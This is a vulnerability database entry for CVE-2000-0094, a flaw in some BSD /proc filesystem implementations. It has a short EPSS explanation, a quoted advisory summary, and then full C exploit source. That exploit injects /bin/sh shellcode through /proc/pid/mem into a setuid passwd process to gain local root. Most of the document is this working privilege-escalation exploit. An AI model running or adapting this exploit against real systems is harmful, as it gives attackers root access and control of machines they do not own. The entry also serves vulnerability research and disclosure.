CVE-2000-0094 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

// source: https://www.securityfocus.com/bid/940/info Certain BSD derivative operating systems use an implantation of the /proc filesystem which is vulnerable to attack from malicious local users. This attack will gain the user root access to the host. The proc file system was originally designed to allow easy access to information about processes (hence the name). Its typical benefit is quicker access to memory hence more streamlined operations. As noted previously certain implementations have a serious vulnerability. In short, the vulnerability is that users may manipulate processes under system which use /proc to gain root privileges. The full details are covered at length in the advisory attached to the 'Credit' section of this vulnerability entry. /* by Nergal */ #include <errno.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <signal.h> #include <sys/wait.h> char shellcode[] = "\xeb\x0a\x62\x79\x20\x4e\x65\x72\x67\x61\x6c\x20" "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04\x00"; #define PASSWD "./passwd" void sg(int x) { } int main(int argc, char **argv) { unsigned int stack, shaddr; int pid,schild; int fd; char buff[40]; unsigned int status; char *ptr; char name[4096]; char sc[4096]; char signature[] = "signature"; signal(SIGUSR1, sg); if (symlink("usr/bin/passwd",PASSWD) && errno!=EEXIST) { perror("creating symlink:"); exit(1); } shaddr=(unsigned int)&shaddr; stack=shaddr-2048; if (argc>1) shaddr+=atoi(argv[1]); if (argc>2) stack+=atoi(argv[2]); fprintf(stderr,"shellcode addr=0x%x stack=0x%x\n",shaddr,stack); fprintf(stderr,"Wait for \"Press return\" prompt:\n"); memset(sc, 0x90, sizeof(sc)); strncpy(sc+sizeof(sc)-strlen(shellcode)-1, shellcode,strlen(shellcode)); strncpy(sc,"EGG=",4); memset(name,'x',sizeof(name)); for (ptr = name; ptr < name + sizeof(name); ptr += 4) *(unsigned int *) ptr = shaddr; name[sizeof(name) - 1] = 0; pid = fork(); switch (pid) { case -1: perror("fork"); exit(1); case 0: pid = getppid(); sprintf(buff, "/proc/%d/mem", pid); fd = open(buff, O_RDWR); if (fd < 0) { perror("open procmem"); wait(NULL); exit(1); } /* wait for child to execute suid program */ kill(pid, SIGUSR1); do { lseek(fd, (unsigned int) signature, SEEK_SET); } while (read(fd, buff, sizeof(signature)) == sizeof(signature) && !strncmp(buff, signature, sizeof(signature))); lseek(fd, stack, SEEK_SET); switch (schild = fork()) { case -1: perror("fork2"); exit(1); case 0: dup2(fd, 2); sleep(2); execl(PASSWD, name, "blahblah", 0); printf("execl failed\n"); exit(1); default: waitpid(schild, &status, 0); } fprintf(stderr, "\nPress return.\n"); exit(1); default: /* give parent time to open /proc/pid/mem */ pause(); putenv(sc); execl(PASSWD, "passwd", NULL); perror("execl"); exit(0); } }